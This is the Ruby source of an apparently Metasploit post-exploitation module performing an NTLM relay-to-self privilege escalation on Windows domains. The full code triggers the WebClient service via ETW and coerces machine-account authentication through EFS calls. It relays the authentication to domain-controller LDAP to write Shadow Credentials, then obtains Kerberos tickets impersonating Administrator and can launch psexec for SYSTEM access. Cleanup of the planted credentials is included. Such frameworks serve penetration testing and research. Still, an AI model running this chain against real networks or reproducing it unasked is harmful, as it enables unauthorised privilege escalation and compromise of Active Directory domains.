📄 NTLM Relay to Self (HTTP to LDAP) Post Exploitation

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      include Msf::Exploit::Remote::HttpServer::Relay
      include Msf::Exploit::Remote::LDAP::ActiveDirectory
      include Msf::Post::Windows::Priv
      include Msf::Post::File
    
      attr_accessor :service
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'NTLM Relay to Self (HTTP to LDAP) - Post Exploitation',
            'Description' => %q{
              This module performs an NTLM relay-to-self privilege escalation attack. It starts an HTTP-to-LDAP
              relay server on the compromised host, then triggers the WebClient service via an ETW event
              (allowing a low-privilege user to start it), and coerces the local machine account to authenticate
              via OpenEncryptedFileRaw to the relay listener over WebDAV.
    
              The coerced machine account NTLM authentication is relayed to a Domain Controller's LDAP service,
              where the module writes Shadow Credentials (msDS-KeyCredentialLink) to its own AD object and
              obtains a Kerberos TGT via PKINIT. The module then performs S4U2Proxy to obtain an impersonating
              service ticket for Administrator, enabling psexec back to itself for SYSTEM access.
    
              RUN_GET_TICKET and RUN_PSEXEC are independent toggles. An operator can obtain a ticket without running
              psexec, run psexec with a previously obtained ticket, or run both sequentially. RUN_PSEXEC defaults to
              false so the module does not automatically attempt lateral movement.
            },
            'License' => MSF_LICENSE,
            'Stance' => Msf::Exploit::Stance::Passive,
            'Passive' => true,
            'Author' => [ 'jheysel-r7' ],
            'Arch' => [ ARCH_X64, ARCH_X86 ],
            'Platform' => [ 'win' ],
            'SessionTypes' => [ 'meterpreter' ],
            'Targets' => [
              [ 'Windows', {} ]
            ],
            'DisclosureDate' => '2001-01-01', # First record of NTLM Relaying
            'Notes' => {
              'Stability' => [ CRASH_SAFE, ],
              'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ],
              'Reliability' => [ REPEATABLE_SESSION, ]
            }
          )
        )
    
        register_options([
          OptPort.new('SRVPORT', [true, 'The port the victim machine will listen on', 8081]),
          OptAddress.new('SRVHOST', [true, 'The interface the victim will listen on', '0.0.0.0']),
          OptPort.new('RPORT', [true, 'The target LDAP server port', 389]),
          OptString.new('TARGETURI', [true, 'The target URI to relay', '/']),
          OptString.new('DOMAIN', [false, 'The target domain (auto-detected from session if blank)', '']),
          OptBool.new('RANDOMIZE_TARGETS', [false, 'Randomize relay targets', false]),
          OptInt.new('SessionKeepalive', [false, 'Keepalive interval in seconds', 300]),
          OptBool.new('RUN_CHECKS', [true, 'Run pre-flight checks before starting the relay server', true]),
          OptBool.new('RUN_GET_TICKET', [
            true,
            'Write key credential (Shadow Credentials) and obtain a Kerberos TGT/ST for the target object.', true
          ]),
          OptBool.new('RUN_PSEXEC', [
            true,
            'Use the obtained ticket to run psexec against the target host for a session. Only meaningful for computer targets.', false
          ]),
          OptString.new('TARGET_PRIVILEGED_USER', [true, 'The privileged user to attempt to impersonate and authenticate as', 'Administrator']),
          OptString.new('SPN', [false, 'Service Principal Name for the TGS request (default: CIFS/<target_fqdn>)', '']),
          OptInt.new('COERCE_AUTH_WAIT', [true, 'Time to wait to try a different EFS Win32 API via railgun after the first wasn\'t successful', 3]),
        ])
    
        # The module passes the payload definition to the psexec module which will start the handler
        register_advanced_options([
          OptBool.new('DisablePayloadHandler', [false, 'Disable the handler', true])
        ])
    
        # These are loaded in from the ActiveDirectory mixin which the module will only use with the session returned from
        # the LDAP relay, deregister as they're unnecessary
        deregister_options('LDAPDomain', 'LDAPPassword', 'LDAPUsername')
      end
    
      def relay_targets
        Msf::Exploit::Remote::Relay::TargetList.new(
          :ldap,
          datastore['RPORT'],
          datastore['RHOSTS'],
          datastore['TARGETURI'],
          randomize_targets: datastore['RANDOMIZE_TARGETS'],
          drop_mic_only: false,
          drop_mic_and_sign_key_exch_flags: true
        )
      end
    
      def lm_compatibility_level
        registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa', 'LmCompatibilityLevel')
      end
    
      # Auto-detects the victim's machine account name (e.g., desktop-123$)
      def default_machine_account
        computer_name = session.sys.config.sysinfo['Computer']
        "#{computer_name}$".downcase
      end
    
      # Resolves the target domain from the datastore or auto-detects from the session.
      def resolve_domain
        domain = datastore['DOMAIN'].to_s.strip
        return domain unless domain.empty? || domain == '/'
    
        detected = get_domain_name
        if detected.to_s.empty?
          print_error('Could not auto-detect domain. Please set the DOMAIN option manually.')
          return nil
        end
        print_status("Auto-detected domain: #{detected}")
        detected
      end
    
      # Derives the FQDN for the target computer object.
      def target_fqdn(target_name, domain_fqdn)
        hostname = target_name.delete_suffix('$')
        "#{hostname}.#{domain_fqdn}".downcase
      end
    
      # Validates options early and fails fast on invalid configurations.
      def validate_options!
        unless datastore['RUN_GET_TICKET'] || datastore['RUN_PSEXEC']
          print_status('Neither RUN_GET_TICKET nor RUN_PSEXEC is set. The module will only perform the relay.')
          return false
        end
    
        true
      end
    
      def exploit
        unless session.type == 'meterpreter'
          fail_with(Failure::BadConfig, "This module requires a Meterpreter session (got: #{session.type}).")
        end
    
        @spawned_ldap_sessions = []
    
        pre_flight_checks if datastore['RUN_CHECKS']
    
        print_status("Starting relay server bound to Session #{session.sid}...")
        start_service({ 'Comm' => session })
        print_status("Server successfully started on #{srvhost}:#{datastore['SRVPORT']} via Session #{session.sid}.")
    
        print_status('Starting WebClient service via ETW trigger...')
        start_webclient_service
    
        print_status('Coercing machine account authentication via PetitPotam (EfsRpc) to relay listener...')
        coerce_authentication
    
        @http_relay_service.wait if @http_relay_service
      end
    
      # Starts the WebClient service by attempting a connection to a WebDAV resource via WNetAddConnection2.
      # This triggers the MPR -> davclnt.dll -> TriggerStartWebClientService code path internally,
      # which fires the ETW event from the local process context (with LOCAL SID in the token).
      # The connection itself will fail, but the side effect of loading davclnt.dll starts the service.
      # Starts the WebClient service using an ETW event trigger via railgun.
      # Registering an ETW provider with the WebClient service trigger GUID and writing
      # an event causes the service to auto-start (works from medium integrity with LOCAL SID).
      def start_webclient_service
        check_local_sid
        # GUID: {22B6D684-FA63-4578-87C9-EFFCBE6643C7}
        guid = [0x22B6D684, 0xFA63, 0x4578, 0x87, 0xC9, 0xEF, 0xFC, 0xBE, 0x66, 0x43, 0xC7].pack('VvvC8')
    
        railgun = session.railgun
        railgun.add_function('advapi32', 'EventRegister', 'DWORD', [
          ['PBLOB', 'ProviderId', 'in'],
          ['PBLOB', 'EnableCallback', 'in'],
          ['PBLOB', 'CallbackContext', 'in'],
          ['PBLOB', 'RegHandle', 'out']
        ])
    
        if session.arch == ARCH_X64
          railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
            ['LPVOID', 'RegHandle', 'in'],
            ['PBLOB', 'EventDescriptor', 'in'],
            ['DWORD', 'UserDataCount', 'in'],
            ['PBLOB', 'UserData', 'in']
          ])
          railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
            ['LPVOID', 'RegHandle', 'in']
          ])
        else
          # x86 stdcall: ULONGLONG is passed as   DWORDs on the stack (low first, high second)
          railgun.add_function('advapi32', 'EventWrite', 'DWORD', [
            ['DWORD', 'RegHandleLow', 'in'],
            ['DWORD', 'RegHandleHigh', 'in'],
            ['PBLOB', 'EventDescriptor', 'in'],
            ['DWORD', 'UserDataCount', 'in'],
            ['PBLOB', 'UserData', 'in']
          ])
          railgun.add_function('advapi32', 'EventUnregister', 'DWORD', [
            ['DWORD', 'RegHandleLow', 'in'],
            ['DWORD', 'RegHandleHigh', 'in']
          ])
        end
    
        result = railgun.advapi32.EventRegister(guid, nil, nil, 8)
        unless result['return'] == 0
          fail_with(Failure::Unknown, "EventRegister failed with error code: #{result['return']}")
        end
    
        reg_handle_raw = result['RegHandle']
    
        # EVENT_DESCRIPTOR struct layout:
        # Id(USHORT=2), Version(UCHAR=1), Channel(UCHAR=1), Level(UCHAR=1), Opcode(UCHAR=1), Task(USHORT=2), Keyword(ULONGLONG=8)
        # Values: Id=1, Version=0, Channel=0, Level=4, Opcode=0, Task=0, Keyword=0
        event_desc = [1, 0, 0, 4, 0, 0, 0].pack('vCCCCvQ<')
    
        if session.arch == ARCH_X64
          reg_handle = reg_handle_raw.unpack1('Q<')
          result = railgun.advapi32.EventWrite(reg_handle, event_desc, 0, nil)
          unless result['return'] == 0
            railgun.advapi32.EventUnregister(reg_handle)
            fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
          end
          railgun.advapi32.EventUnregister(reg_handle)
        else
          handle_low, handle_high = reg_handle_raw.unpack('VV')
          result = railgun.advapi32.EventWrite(handle_low, handle_high, event_desc, 0, nil)
          unless result['return'] == 0
            railgun.advapi32.EventUnregister(handle_low, handle_high)
            fail_with(Failure::Unknown, "EventWrite failed with error code: #{result['return']}")
          end
          railgun.advapi32.EventUnregister(handle_low, handle_high)
        end
        print_good('WebClient service triggered successfully via ETW.')
    
        # Give the service a moment to start
        Rex.sleep(3)
      end
    
      # Coerces machine account authentication by calling EFS Win32 APIs via railgun
      # with a WebDAV UNC path, triggering the machine account to authenticate to our relay listener.
      # Tries multiple methods until one succeeds, similar to PetitPotam's Automatic mode.
      def coerce_authentication
        hostname = session.sys.config.sysinfo['Computer']
        listener = "#{hostname}@#{datastore['SRVPORT']}/print"
        @relay_succeeded = false
    
        efs_methods = [
          { name: 'OpenEncryptedFileRaw', call: ->(path) { session.railgun.advapi32.OpenEncryptedFileRawW(path, 0, 8) } },
          { name: 'EncryptFile', call: ->(path) { session.railgun.advapi32.EncryptFileW(path) } },
          { name: 'DecryptFile', call: ->(path) { session.railgun.advapi32.DecryptFileW(path, 0) } }
        ]
    
        efs_methods.each do |method|
          break if @relay_succeeded
    
          rand_path = "#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.#{Rex::Text.rand_text_alphanumeric(3)}"
          unc_path = "\\\\#{listener}\\#{rand_path}"
    
          print_status("Attempting coercion via #{method[:name]} on #{unc_path}...")
          method[:call].call(unc_path)
    
          # Give the relay a moment to process before trying the next method
          Rex.sleep(datastore['COERCE_AUTH_WAIT'])
        end
      end
    
      def on_relay_success(relay_connection:, relay_identity:)
        @relay_succeeded = true
        print_good('Relay succeeded! Handshake completed.')
    
        ldap_session = session_setup(relay_connection, relay_identity)
        return unless ldap_session
    
        return unless validate_options!
    
        dc_ip = relay_connection.socket.peerhost
        target_name = default_machine_account
    
        framework.threads.spawn("Post_Relay_Chain_#{ldap_session.sid}", false) do
          run_post_relay_chain(ldap_session, dc_ip, target_name)
        end
      rescue StandardError => e
        elog('Failed to setup the session or orchestrate post-relay actions', error: e)
        print_error("Relay success handling failed: #{e.message}")
      end
    
      def run_post_relay_chain(ldap_session, dc_ip, target_name)
        if datastore['RUN_GET_TICKET']
          run_get_ticket_chain(ldap_session, dc_ip, target_name)
        end
    
        if datastore['RUN_PSEXEC']
          run_psexec_step(ldap_session, dc_ip, target_name)
        end
      end
    
      def run_get_ticket_chain(ldap_session, dc_ip, target_name)
        added_device_id = nil
    
        begin
          domain_fqdn = resolve_domain
          return unless domain_fqdn
    
          fqdn = target_fqdn(target_name, domain_fqdn)
    
          shadow_results = call_shadow_credentials_module('ADD', ldap_session.sid, target_name)
          return unless shadow_results
    
          added_device_id = shadow_results[:device_id]
          cert_path = shadow_results[:cert_path]
    
          ccache_path = call_get_ticket_module('GET_TGS', cert_path, dc_ip, domain_fqdn, target_name, fqdn: fqdn)
          return unless ccache_path
    
          print_good("Obtained impersonating ST for target host #{target_name}")
    
          store_or_export_ticket(ccache_path, target_name)
        rescue StandardError => e
          print_error("Error during ticket acquisition chain: #{e.message}")
        ensure
          print_status('--- Initiating OPSEC Cleanup ---')
    
          if added_device_id
            print_status("Removing Shadow Credentials (Device ID: #{added_device_id})...")
            call_shadow_credentials_module('REMOVE', ldap_session.sid, target_name, added_device_id)
          end
    
          print_status('Cleanup complete.')
        end
      end
    
      def run_psexec_step(_ldap_session, _dc_ip, target_name)
        unless datastore['RUN_GET_TICKET']
          print_warning('RUN_PSEXEC set without RUN_GET_TICKET; expecting a previously obtained ticket.')
        end
    
        domain_fqdn = resolve_domain
        return unless domain_fqdn
    
        fqdn = target_fqdn(target_name, domain_fqdn)
    
        ccache_path = find_latest_ticket(target_name, domain_fqdn)
        unless ccache_path
          print_error("No cached ticket found for #{target_name}. Run with RUN_GET_TICKET first.")
          return
        end
    
        execute_psexec(ccache_path, fqdn, domain_fqdn)
      end
    
      def store_or_export_ticket(ccache_path, target_name)
        @last_ccache_path = ccache_path
        print_status("Ticket for #{target_name} stored at: #{ccache_path}")
      end
    
      def find_latest_ticket(target_name, domain_fqdn)
        return @last_ccache_path if @last_ccache_path && File.exist?(@last_ccache_path)
    
        fqdn = target_fqdn(target_name, domain_fqdn)
        ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('info LIKE ?', "%#{fqdn}%").last
        return ticket_loot.path if ticket_loot && File.exist?(ticket_loot.path)
    
        nil
      end
    
      def call_shadow_credentials_module(action, ldap_session_id, target_name, device_id = nil)
        mod_refname = 'admin/ldap/shadow_credentials'
        print_status("Loading #{mod_refname} to execute against LDAP Session #{ldap_session_id}")
    
        shadow_module = framework.modules.create(mod_refname)
    
        unless shadow_module
          print_error("Failed to load module: #{mod_refname}")
          return nil
        end
    
        shadow_module.datastore['SESSION'] = ldap_session_id
        shadow_module.datastore['ACTION'] = action
        shadow_module.datastore['TARGET_USER'] = target_name
        shadow_module.datastore['DEVICE_ID'] = device_id if action == 'REMOVE' && device_id
        shadow_module.datastore['VERBOSE'] = datastore['VERBOSE']
    
        print_status("Running #{mod_refname} to #{action} key for #{target_name}...")
    
        results = shadow_module.run_simple(
          'LocalInput' => user_input,
          'LocalOutput' => user_output,
          'RunAsJob' => false
        )
    
        if action == 'ADD'
          if results && results.is_a?(Array) && results.length >= 2
            returned_device_id, stored_path = results
            print_status("Shadow Credentials successfully added (Device ID: #{returned_device_id}).")
            return { device_id: returned_device_id, cert_path: stored_path }
          end
        elsif action == 'REMOVE'
          if results
            print_good("Successfully removed KeyCredentialLink with Device ID: #{device_id}")
            return { success: true }
          end
        end
    
        print_error("Shadow credentials module failed or did not return expected data for action #{action}.")
        nil
      end
    
      # Obtains a Kerberos ticket via the get_ticket module.
      # action: 'GET_TGT' (user targets) or 'GET_TGS' (computer targets with S4U2Proxy impersonation).
      def call_get_ticket_module(action, cert_path, dc_ip, domain_fqdn, target_name, fqdn: nil)
        is_tgs = action == 'GET_TGS'
        print_status(is_tgs ? 'Requesting S4U2Proxy TGS for Administrator...' : "Requesting TGT for user #{target_name} via PKINIT...")
    
        get_ticket_mod = framework.modules.create('auxiliary/admin/kerberos/get_ticket')
        initial_loot_id = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").maximum(:id) || 0
    
        get_ticket_mod.datastore['ACTION'] = action
        get_ticket_mod.datastore['CERT_FILE'] = cert_path
        get_ticket_mod.datastore['DOMAIN'] = domain_fqdn
        get_ticket_mod.datastore['RHOSTS'] = dc_ip
        get_ticket_mod.datastore['USERNAME'] = target_name
    
        if is_tgs
          get_ticket_mod.datastore['IMPERSONATE'] = datastore['TARGET_PRIVILEGED_USER'].to_s.empty? ? 'Administrator' : datastore['TARGET_PRIVILEGED_USER']
          get_ticket_mod.datastore['IMPERSONATE_TYPE'] = 'generic'
          get_ticket_mod.datastore['SPN'] = datastore['SPN'].to_s.empty? ? "CIFS/#{fqdn}" : datastore['SPN']
        end
    
        vprint_status('Datastore values being sent to get_ticket:')
        vprint_status("ACTION: #{get_ticket_mod.datastore['ACTION']}")
        vprint_status("CERT_FILE: #{get_ticket_mod.datastore['CERT_FILE']}")
        vprint_status("DOMAIN: #{get_ticket_mod.datastore['DOMAIN']}")
        vprint_status("RHOSTS: #{get_ticket_mod.datastore['RHOSTS']}")
        vprint_status("USERNAME: #{get_ticket_mod.datastore['USERNAME']}")
        vprint_status("IMPERSONATE: #{get_ticket_mod.datastore['IMPERSONATE']}")
        vprint_status("IMPERSONATE_TYPE: #{get_ticket_mod.datastore['IMPERSONATE_TYPE']}")
        vprint_status("SPN: #{get_ticket_mod.datastore['SPN']}")
    
        begin
          get_ticket_mod.run_simple('LocalInput' => user_input, 'LocalOutput' => user_output)
        rescue StandardError => e
          print_error("Getting the #{is_tgs ? 'TGS' : 'TGT'} has failed: #{e.message}.")
          return nil
        end
    
        ticket_loot = framework.db.loots.where("ltype LIKE '%kerberos.ccache%'").where('id > ?', initial_loot_id).last
    
        unless ticket_loot && File.exist?(ticket_loot.path)
          print_error("Failed to retrieve #{is_tgs ? 'TGS' : 'TGT'} from database.")
          return nil
        end
    
        print_good("#{is_tgs ? 'S4U2Proxy Ticket' : 'TGT'} acquired: #{ticket_loot.path}")
        ticket_loot.path
      end
    
      def execute_psexec(ccache_path, fqdn, domain_fqdn)
        print_status("Executing PsExec with Kerberos ticket via session #{session.sid} COMM channel...")
    
        psexec_mod = framework.modules.create('exploit/windows/smb/psexec')
        unless psexec_mod
          print_error('Failed to load module: exploit/windows/smb/psexec')
          return
        end
    
        psexec_mod.datastore['RHOSTS'] = fqdn
        psexec_mod.datastore['SMBUser'] = 'Administrator'
        psexec_mod.datastore['SMBDomain'] = domain_fqdn
        psexec_mod.datastore['SMB::Auth'] = 'kerberos'
        psexec_mod.datastore['Smb::Krb5Ccname'] = ccache_path
        psexec_mod.datastore['Smb::Rhostname'] = fqdn
        psexec_mod.datastore['SMB::Comm'] = session.sid
        psexec_mod.datastore['PAYLOAD'] = payload_instance.refname
        psexec_mod.datastore['LHOST'] = datastore['LHOST'] if datastore['LHOST']
        psexec_mod.datastore['LPORT'] = datastore['LPORT'] if datastore['LPORT']
    
        print_status("Launching PsExec against #{fqdn} as Administrator (Kerberos) via COMM session #{session.sid}...")
    
        psexec_mod.exploit_simple(
          'LocalInput' => user_input,
          'LocalOutput' => user_output,
          'RunAsJob' => true
        )
    
        print_good('PsExec module launched. Check sessions for new elevated session.')
      end
    
      def session_setup(relay_connection, relay_identity)
        client = relay_connection.create_ldap_client
        ldap_session = Msf::Sessions::LDAP.new(
          relay_connection.socket,
          {
            client: client,
            keepalive_seconds: datastore['SessionKeepalive']
          }
        )
        domain, _, username = relay_identity.partition('\\')
    
        ldap_session.set_from_exploit(self)
        ldap_session.info = "#{domain}\\#{username}"
        framework.sessions.register(ldap_session)
    
        if ldap_session.sid
          print_good("LDAP Session #{ldap_session.sid} successfully opened!")
          @spawned_ldap_sessions << ldap_session.sid
          ldap_session
        else
          print_error('Failed to register the LDAP session.')
          nil
        end
      end
    
      def pre_flight_checks
        check_db_status
        check_options
        check_lm_compatibility_level
        check_privs
        check_port_availability
        check_target_reachability
      end
    
      def check_db_status
        unless framework.db.active
          fail_with(Failure::BadConfig, 'A connected Metasploit database is required to track Kerberos tickets. Please start the database using `db_connect`.')
        end
      end
    
      def check_options
        unless framework.features.enabled?(Msf::FeatureManager::LDAP_SESSION_TYPE)
          fail_with(Failure::BadConfig, 'This module requires the `ldap_session_type` feature to be enabled. Please enable this feature using `features set ldap_session_type true`')
        end
      end
    
      def check_lm_compatibility_level
        lm_level = lm_compatibility_level
    
        if lm_level > 2
          fail_with(Failure::BadConfig, 'The target system is configured to not send NTLMv1 responses. This module requires NTLMv1 to be enabled to capture relay credentials. Please set the LmCompatibilityLevel registry value to 2 or lower and try again.')
        end
    
        print_good("Target system LmCompatibilityLevel is set to #{lm_level}, which allows NTLMv1 responses. Proceeding with module execution.")
      end
    
      def check_privs
        srvport = datastore['SRVPORT'].to_i
    
        if srvport <= 1024 && !is_admin?
          print_warning("You are attempting to bind to a privileged port (#{srvport}) but do not have Admin rights.")
          print_warning('The OS will likely block this. Consider changing SRVPORT to something > 1024, or escalating privileges.')
        end
      end
    
      # Verifies the session token has the LOCAL SID (S-1-2-0). The ETW service trigger
      # for WebClient requires this SID. Present for interactive/RDP logons, absent for
      # network (type 3) logons such as psexec or WMI-spawned sessions.
      def check_local_sid
        # S-1-2-0 binary SID: Revision=1, SubAuthorityCount=1,
        # IdentifierAuthority={0,0,0,0,0,2}, SubAuthority[0]=0
        local_sid = "\x01\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00"
    
        result = session.railgun.advapi32.CheckTokenMembership(0, local_sid, 4)
        is_member = result['IsMember'].unpack1('V')
    
        unless is_member != 0
          fail_with(Failure::BadConfig,
                    'Session token does not have the LOCAL SID (S-1-2-0). ' \
                    'The ETW trigger requires an interactive or RDP logon. ' \
                    'Network logon sessions (e.g., psexec/WMI) will not work.')
        end
        print_good('Session token has LOCAL SID (S-1-2-0) — ETW service trigger will work.')
      end
    
      def check_port_availability
        srvport = datastore['SRVPORT'].to_i
        print_status("Checking if port #{srvport} is available on the victim...")
    
        begin
          connections = session.net.config.get_netstat
          conflict = connections.find do |conn|
            conn.local_port == srvport &&
              conn.protocol == 'tcp' &&
              conn.state == 'LISTEN'
          end
    
          if conflict
            pid_info = conflict.pid_name.to_s.empty? ? conflict.pid : conflict.pid_name
            fail_with(Failure::BadConfig, "Port #{srvport} is already in use by PID #{pid_info} on the victim machine! Please choose a different SRVPORT.")
          else
            print_good("Port #{srvport} is available on the victim machine.")
          end
        rescue NoMethodError, Rex::Post::Meterpreter::RequestError => e
          print_warning("Could not verify port availability (Error: #{e.message}). Proceeding anyway...")
        end
      end
    
      def check_target_reachability
        rhosts_string = datastore['RHOSTS']
        rport = datastore['RPORT'].to_i
    
        print_status("Verifying victim can reach the target LDAP server(s) on port #{rport}...")
    
        Rex::Socket::RangeWalker.new(rhosts_string).each do |rhost|
          sock = session.net.socket.create(
            Rex::Socket::Parameters.new(
              'PeerHost' => rhost,
              'PeerPort' => rport,
              'Proto' => 'tcp'
            )
          )
          sock.close
          print_good("Target LDAP server #{rhost} is reachable from the victim!")
        rescue StandardError => e
          print_warning("Could not reach #{rhost}:#{rport} from the victim machine (Error: #{e.message}).")
          print_warning("The relay will likely fail for #{rhost} if the victim cannot communicate with it.")
        end
      end
    end